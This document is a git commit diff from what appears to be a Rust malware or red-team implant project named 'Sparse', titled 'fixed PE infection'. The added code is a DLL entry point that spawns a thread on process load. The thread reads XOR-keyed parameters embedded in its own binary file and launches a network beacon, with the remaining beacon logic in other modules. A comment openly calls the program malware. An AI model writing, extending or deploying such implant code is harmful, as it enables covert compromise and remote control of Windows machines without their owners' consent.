fix: fixed PE infection

This commit is contained in:
Andrew Rioux
2025-02-19 22:40:39 -05:00
parent d823603054
commit 005048f1ce
10 changed files with 118 additions and 92 deletions

View File

@@ -11,7 +11,7 @@ anyhow = "1.0.95"
async-trait = "0.1.86"
thiserror = "2.0.11"
tokio = { version = "1.43.0", features = ["fs", "io-std", "io-util", "rt-multi-thread", "sync"] }
windows = { version = "0.59.0", features = ["Win32_NetworkManagement_IpHelper", "Win32_NetworkManagement_Ndis", "Win32_Networking_WinSock", "Win32_System_LibraryLoader", "Win32_System_SystemServices", "Win32_UI_WindowsAndMessaging"] }
windows = { version = "0.59.0", features = ["Win32_NetworkManagement_IpHelper", "Win32_NetworkManagement_Ndis", "Win32_Networking_WinSock", "Win32_Security", "Win32_System_LibraryLoader", "Win32_System_SystemServices", "Win32_System_Threading", "Win32_UI_WindowsAndMessaging", "Win32_UI_WindowsAndMessaging"] }
windows-result = "0.3.0"
windows-strings = "0.3.0"
winreg = "0.55"

View File

@@ -51,7 +51,7 @@ impl BeaconAdapter for WindowsAdapter {
_ = GetAdaptersAddresses(
2,
GET_ADAPTERS_ADDRESSES_FLAGS(0),
GAA_FLAG_INCLUDE_GATEWAYS,
None,
None,
&mut size_pointer as *mut _,
@@ -67,7 +67,14 @@ impl BeaconAdapter for WindowsAdapter {
&mut size_pointer as *mut _,
);
if err != 0 {
println!("Size: {size_pointer}");
println!(
"Raw error: {:?}; {err}",
std::io::Error::last_os_error().raw_os_error()
);
if err != 0 && std::io::Error::last_os_error().raw_os_error() != Some(0) {
println!("Erroring out here! {err}");
Err(std::io::Error::last_os_error())?;
}

View File

@@ -1,57 +1,76 @@
use std::io::SeekFrom;
use tokio::io::{AsyncReadExt, AsyncSeekExt};
use windows::Win32::{
Foundation::{FreeLibrary, HMODULE, MAX_PATH},
System::{
LibraryLoader::{
GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS, GetModuleFileNameA, GetModuleHandleExW,
use windows::{
core::*,
Win32::{
Foundation::{CloseHandle, FreeLibrary, HMODULE, MAX_PATH},
System::{
LibraryLoader::{
DisableThreadLibraryCalls, GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS, GetModuleFileNameA, GetModuleHandleExW,
},
SystemServices::DLL_PROCESS_ATTACH,
Threading::{CreateThread, Sleep, THREAD_CREATION_FLAGS}
},
SystemServices::DLL_PROCESS_ATTACH,
},
UI::WindowsAndMessaging::{MessageBoxA, MB_OK},
}
};
use sparse_actions::payload_types::{Parameters, XOR_KEY};
mod adapter;
#[unsafe(no_mangle)]
pub extern "system" fn DllMain(_: usize, dw_reason: u32, _: usize) -> i32 {
if dw_reason == DLL_PROCESS_ATTACH {
std::thread::spawn(|| {
std::thread::yield_now();
static mut MODULE_FILENAME: [u8; MAX_PATH as usize] = [0u8; MAX_PATH as usize];
static mut MODULE_FILENAME_LEN: u32 = 0;
if let Err(_e) = hash_internals() {
// what are we going to do??
// go to the user and say "malware crashed"?
}
});
#[unsafe(no_mangle)]
pub extern "system" fn DllMain(hmodule: HMODULE, dw_reason: u32, _: usize) -> i32 {
if dw_reason == DLL_PROCESS_ATTACH {
unsafe {
MODULE_FILENAME_LEN = GetModuleFileNameA(Some(hmodule), &mut *&raw mut MODULE_FILENAME);
}
unsafe { let _ = DisableThreadLibraryCalls(hmodule); }
unsafe { allocate_hash_space(); }
}
1
}
#[unsafe(no_mangle)]
pub unsafe extern "system" fn allocate_hash_space() {
unsafe {
let thr = CreateThread(
None,
0,
Some(prepare_hash),
None,
THREAD_CREATION_FLAGS(0),
None
);
if let Ok(th) = thr {
let _ = CloseHandle(th);
}
}
}
unsafe extern "system" fn prepare_hash(_param: *mut core::ffi::c_void) -> u32 {
unsafe { Sleep(50); }
if let Err(e) = hash_internals() {
if cfg!(debug_assertions) {
let msg_buffer = [format!("Sparse error: {e:?}").as_bytes(), &[0]].concat();
unsafe {
let _ = MessageBoxA(None, PCSTR::from_raw(msg_buffer.as_ptr()), s!("Sparse error!"), MB_OK);
};
}
}
0
}
fn hash_internals() -> std::result::Result<(), std::io::Error> {
let curr_module = HMODULE(std::ptr::null_mut());
let comp_hash = compute_hash as extern "C" fn() -> ();
if let Err(_) = unsafe {
GetModuleHandleExW(
GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS,
windows_strings::PCWSTR::from_raw(comp_hash as *const () as *const _),
curr_module.0 as *mut _,
)
} {
return Err(std::io::Error::last_os_error());
}
let mut name = vec![0u8; MAX_PATH as usize];
let name_len = unsafe { GetModuleFileNameA(Some(curr_module), &mut name) as usize };
unsafe {
let _ = FreeLibrary(curr_module);
}
if name_len == 0 {
if unsafe { MODULE_FILENAME_LEN } == 0 {
return Err(std::io::Error::last_os_error());
}
@@ -59,14 +78,15 @@ fn hash_internals() -> std::result::Result<(), std::io::Error> {
.enable_all()
.build()?;
rt.block_on(async move { unsafe { hash_stage_2(name[..name_len].to_vec()) }.await })?;
// MessageBoxW(None, w!("Hi!"), w!("There!"), MB_OK);
let fname = unsafe { MODULE_FILENAME[..MODULE_FILENAME_LEN as usize].to_vec() };
rt.block_on(async move { unsafe { hash_stage_2(fname) }.await })?;
Ok(())
}
async unsafe fn hash_stage_2(name: Vec<u8>) -> std::result::Result<(), std::io::Error> {
sparse_beacon::install_rustls();
let mut binary_file = tokio::fs::OpenOptions::new()
.read(true)
.open(unsafe { std::str::from_utf8_unchecked(&name) })
@@ -83,10 +103,20 @@ async unsafe fn hash_stage_2(name: Vec<u8>) -> std::result::Result<(), std::io::
}
let parameters: Parameters =
unsafe { std::mem::transmute(*(parameters_buffer.as_ptr() as *const Parameters)) };
unsafe { *(parameters_buffer.as_ptr() as *const Parameters).clone() };
let _ = sparse_beacon::run_beacon_step(adapter::WindowsAdapter, parameters).await;
let err = sparse_beacon::run_beacon_step(adapter::WindowsAdapter, parameters).await;
if let Err(e) = err {
if cfg!(debug_assertions) {
let msg_buffer = [format!("Sparse error: {e:?}").as_bytes(), &[0]].concat();
unsafe {
let _ = MessageBoxA(None, PCSTR::from_raw(msg_buffer.as_ptr()), s!("Sparse error!"), MB_OK);
};
}
}
loop {}
Ok(())
}

View File

@@ -8,6 +8,7 @@ mod adapter;
#[tokio::main]
async fn main() -> anyhow::Result<()> {
loop {}
sparse_beacon::install_rustls();
let mut binary_file = tokio::fs::OpenOptions::new()